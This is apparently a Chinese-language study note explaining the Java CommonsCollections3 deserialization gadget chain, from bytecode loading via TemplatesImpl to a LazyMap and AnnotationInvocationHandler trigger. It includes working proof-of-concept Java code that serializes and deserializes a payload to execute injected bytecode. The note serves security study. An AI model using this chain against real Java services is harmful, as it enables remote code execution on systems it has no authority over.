CommonsCollections3
字节码
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在
.class
文件中。
URLClassLoader加载字节码
Java的
ClassLoader
是用来加载字节码文件的最基础的方法
正常情况下,Java会根据配置项sun.boot.class.path
和java.class.path
中列举到的基础路径(这些路径是经过处理后的java.net.URL
类)来寻找.class
文件来加载,而这个基础路径有三种情况:
- URL未以
/
结尾,则认为是一个JAR文件,使用JarLoader
来寻找类,即为在Jar包中寻找.class
文件 - URL以
/
结尾,且协议名是file
,则使用FileLoader
来寻找类,即为在本地文件系统中寻找.class
文件 URL以
/
结尾,且协议名不是file
,则使用最基础的Loader
来寻找类本地编译一个
Hello
类,然后通过HTTP协议远程加载 ```java package com.naraku.sec.bytecode;
import java.net.URL; import java.net.URLClassLoader;
public class HelloClassLoader { public static void main(String[] args) throws Exception { URL[] urls = { new URL(“http://localhost:9999/“) }; URLClassLoader loader = URLClassLoader.newInstance(urls); Class clazz = loader.loadClass(“Hello”); clazz.newInstance(); } }
![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1649842558366-b3ff97c3-d365-495c-8e9f-800019e7a4c6.png#clientId=u62cf9c06-f24e-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=240&id=u5dc02e3a&margin=%5Bobject%20Object%5D&name=image.png&originHeight=480&originWidth=1015&originalType=binary&ratio=1&rotation=0&showTitle=false&size=117186&status=done&style=none&taskId=u145a5b1f-1ba3-484d-a6e6-89ac6e0f46d&title=&width=507.5)
<a name="Y9TBL"></a>
### defineClass加载字节码
不管是加载远程class文件,还是本地class或jar文件,Java都经历的是下面这三个方法调用:<br />`ClassLoader#loadClass > ClassLoader#findClass > ClassLoader#defineClass`
其中:
- `loadClass`的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行`findClass`
- `findClass`的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给`defineClass`
- `defineClass`的作用是处理前面传入的字节码,将其处理成真正的Java类
所以可见,真正核心的部分其实是`defineClass`,它决定了如何将一段字节流转变成一个Java类,Java默认的`ClassLoader#defineClass`是一个`native`方法。
<a name="A4aMB"></a>
#### LoaderClass
- 先把前面的`Hello.java`编译成`Hello.class`,然后将该class文件进行加载
```java
package com.naraku.sec.bytecode;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
public class LoaderClass {
public static byte[] load(String path) {
FileInputStream fis = null;
ByteArrayOutputStream baos = null;
try {
fis = new FileInputStream(path);
baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len = -1;
while ((len = fis.read(buffer)) != -1) {
baos.write(buffer, 0, len);
baos.flush();
}
return baos.toByteArray();
}
catch (Exception e) {
e.printStackTrace();
}
finally {
if (fis != null) {
try { fis.close(); }
catch (Exception e) { e.printStackTrace(); }
}
if (baos != null) {
try { baos.close(); }
catch (Exception e) { e.printStackTrace(); }
}
}
return null;
}
}
加载字节码
package com.naraku.sec.bytecode;
import java.lang.reflect.Method;
public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = LoaderClass.load("src/main/java/Hello.class");
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), code, 0, code.length);
hello.newInstance();
}
}
注意一点,在defineClass
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。
而且,即使我们将初始化代码放在类的static
块中,在defineClass
时也无法被直接调用到。所以,如果我们要使用defineClass
在目标机器上执行任意代码,需要想办法调用构造函数。
因为系统的ClassLoader#defineClass
是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。在实际场景中,因为defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它
TemplatesImpl加载字节码
虽然大部分上层开发者不会直接使用到
defineClass
方法,但是Java底层还是有一些类用到了它,这就是TemplatesImpl
,defineClass
是攻击链TemplatesImpl的基石。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类定义了一个内部类TransletClassLoader
。其中重写了defineClass
方法,并且没有显示声明定义域,因此定义域默认为default
。也就是说这里的defineClass
由其父类的protected
类型变成了一个default
类型的方法,可以被类外部调用。
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
从defineClass()
这里往前追溯,调用路径为:
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
最前面两个方法TemplatesImpl#getOutputProperties()
、TemplatesImpl#newTransformer()
作用域是public
,可以被外部调用。
defineTransletClasses
TemplatesImpl#defineTransletClasses()
- 当
_bytecodes == null
时会抛出异常,因此需要使_bytecodes
不为空 - 然后在
AccessController.doPrivileged()
方法中,TransletClassLoader()
需要传递参数_tfactory.getExternalExtensionsMap()
,因此_tfactory
也不能为空
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(), _tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
在try{}
代码块中:
- 首先会用
loader
遍历加载字节码数组并获取对应的Class
对象:loader.defineClass(_bytecodes[i])
- 然后逐个获取
Class
对象的父类:_class[i].getSuperclass()
- 最后判断父类名是否为
AbstractTranslet
所以这段逻辑主要做权限校验,作用是判断通过字节码加载的类是否为AbstractTranslet
的子类
另外在上面的逻辑中,当父类名不为AbstractTranslet
时,就会向_auxClasses
传值:_auxClasses.put(_class[i].getName(), _class[i])
而在TemplatesImpl#writeObject()
方法中,当_auxClasses != null
时会抛出异常,即_auxClasses
不为空时不能进行序列化
private void writeObject(ObjectOutputStream os)
throws IOException, ClassNotFoundException {
if (_auxClasses != null) {
//throw with the same message as when Hashtable was used for compatibility.
throw new NotSerializableException(
"com.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable");
}
// Write serialized fields
ObjectOutputStream.PutField pf = os.putFields();
pf.put("_name", _name);
pf.put("_bytecodes", _bytecodes);
pf.put("_class", _class);
pf.put("_transletIndex", _transletIndex);
pf.put("_outputProperties", _outputProperties);
pf.put("_indentNumber", _indentNumber);
os.writeFields();
if (_uriResolver instanceof Serializable) {
os.writeBoolean(true);
os.writeObject((Serializable) _uriResolver);
}
else {
os.writeBoolean(false);
}
}
getTransletInstance
TemplatesImpl#getTransletInstance()
- 当
_name == null
时将返回,因此需要设置_name
的值,使其不为空 另外这个调用了
newInstance()
实例化了一个AbstractTranslet
类对象,触发恶意代码(可以在静态代码块,代码块和构造代码块三个位置)private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
构造字节码
根据前面的分析,加载的字节码需要继承自
AbstractTranslet
编写一个
HelloTemplatesImpl
类并继承自AbstractTranslet
,快捷键Option+回车
并选择Implement methods
,最后再实现其它代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
static {
System.out.println("Static");
}
{
System.out.println("Code");
}
public HelloTemplatesImpl() {
super();
System.out.println("Constructor");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
构造POC
尝试用
newTransformer()
构造一个简单的POC,需要注意以下几点
根据前面的分析,构造的POC需要设置_name/_bytecodes/_tfactory
三个属性,使其不为空。但是应该设置什么值呢?其实可以通过TemplatesImpl
类中的注释知道这几个属性的类型和作用:
_name
为Class对象名,类型为String
_bytecodes
为字节码,类型为byte[][]
_tfactory
类型为TransformerFactoryImpl
- POC代码如下: ```java package com.naraku.sec.bytecode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class HelloTempLoader {
public static void main(String[] args) throws Exception { // 加载字节码 byte[] code = LoaderClass.load(“src/main/java/HelloTemplatesImpl.class”);
TemplatesImpl temp = new TemplatesImpl();
// 设置属性
Field name = temp.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(temp, "HelloTemplatesImpl");
Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(temp, new byte[][]{code});
Field tfactory = temp.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(temp, new TransformerFactoryImpl());
temp.newTransformer();
} }
![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1650444868897-5b4cb9ff-1df9-4958-9d5d-42e286a82ce9.png#clientId=u21258c25-83cf-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=148&id=u64f28ad2&margin=%5Bobject%20Object%5D&name=image.png&originHeight=295&originWidth=1027&originalType=binary&ratio=1&rotation=0&showTitle=true&size=47993&status=done&style=none&taskId=u76bcb236-d454-4e27-ac81-dc53dd0faff&title=%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C&width=513.5 "输出结果")
<a name="pL498"></a>
## TemplatesImpl到CC3
- 这里创建一个`CommonCollections3`类,利用`Transformer`和`TransformedMap`触发
```java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections3 {
public static void main(String[] args) throws Exception{
// 加载字节码
byte[] code = LoaderClass.load("src/main/java/HelloTemplatesImpl.class");
TemplatesImpl temp = new TemplatesImpl();
// 设置属性
Field name = temp.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(temp, "HelloTemplatesImpl");
Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(temp, new byte[][]{code});
Field tfactory = temp.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(temp, new TransformerFactoryImpl());
// temp.newTransformer();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(temp),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
CC3
将ysoserial工具中的CommonCollections3与CommonCollections1进行对比,发现多了三个新的类:TemplatesImpl
、InstantiateTransformer
和TrAXFilter
InstantiateTransformer
InstantiateTransformer
:通过反射创建新对象实例
TrAXFilter
TrAXFilter
:实例化时构造函数会调用TransformerImpl
的newTransformer
方法,这也就免去了通过手工调用InvokerTransformer.newTransformer()
⽅法这⼀步
为何CC3不用
InvokerTransformer
: 当反序列化ysoserial工具出现后,有攻就有防,SerialKiller⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊⽩名单的⽅式来限制反序列化时允许通过的类,在其第⼀个版本中,InvokerTransformer
赫然在列,也就切断了CommonsCollections1的利⽤链。 ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3。
构造POC
- 模仿CC1,通过
LazyMap
和Proxy
触发漏洞,需Java 8u71以下 ```java import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CommonCollections3 { public static void main(String[] args) throws Exception{ // 加载字节码 byte[] code = LoaderClass.load(“src/main/java/HelloTemplatesImpl.class”);
TemplatesImpl temp = new TemplatesImpl();
// 设置属性
Field name = temp.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(temp, "HelloTemplatesImpl");
Field bytecode = temp.getClass().getDeclaredField("_bytecodes");
bytecode.setAccessible(true);
bytecode.set(temp, new byte[][]{code});
Field tfactory = temp.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(temp, new TransformerFactoryImpl());
// temp.newTransformer();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(temp),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// 直接触发
// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// outerMap.put("test", "xxx");
// LazyMap+Proxy触发
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 获取AnnotationInvocationHandler的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 利用构造函数实例化,创建与outerMap关联的InvocationHandler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
// 实例化代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
// 使用InvocationHandler对proxyMap重新包裹
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
// System.out.println(baos);
// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
} } ```